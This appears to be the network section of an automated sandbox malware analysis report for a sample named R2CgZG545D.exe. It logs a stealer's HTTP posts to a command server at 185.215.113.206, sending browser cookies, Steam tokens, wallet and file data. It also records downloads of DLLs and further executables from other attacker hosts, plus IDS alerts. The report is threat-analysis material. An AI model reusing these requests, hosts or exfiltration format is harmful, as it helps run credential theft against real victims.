Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBFCGIDAKECGCBGDBAFHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 2d 2d 0d 0a Data Ascii: ------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CFBFCGIDAKECGCBGDBAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFBFBGHDGDAKECAKJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 2d 2d 0d 0a Data Ascii: ------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="file"------CGCFBFBGHDGDAKECAKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file"------KFCGDBAKKKFBGDHJKFHJ--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJKHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="message"wallets------BGHIIJDGHCBFIECBKEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="message"files------KFIDAFBFBKFHJJKEHIEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="file"------GDHCGDGIEBKJKFHJJKFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJJEBFCGDAKFIEBAAFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4a 45 42 46 43 47 44 41 4b 46 49 45 42 41 41 46 42 2d 2d 0d 0a Data Ascii: ------KKJJEBFCGDAKFIEBAAFBContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------KKJJEBFCGDAKFIEBAAFBContent-Disposition: form-data; name="message"ybncbhylepme------KKJJEBFCGDAKFIEBAAFB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCFBKKEBKEBGIDHIEHCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCFBKKEBKEBGIDHIEHCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/6929814593/py8tmzb.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 36 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018614001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49769 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49806 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49946 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49957 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49965 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49964 -> 172.67.197.170:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Code function: 0_2_6C60CC60 PR_Recv,

0_2_6C60CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
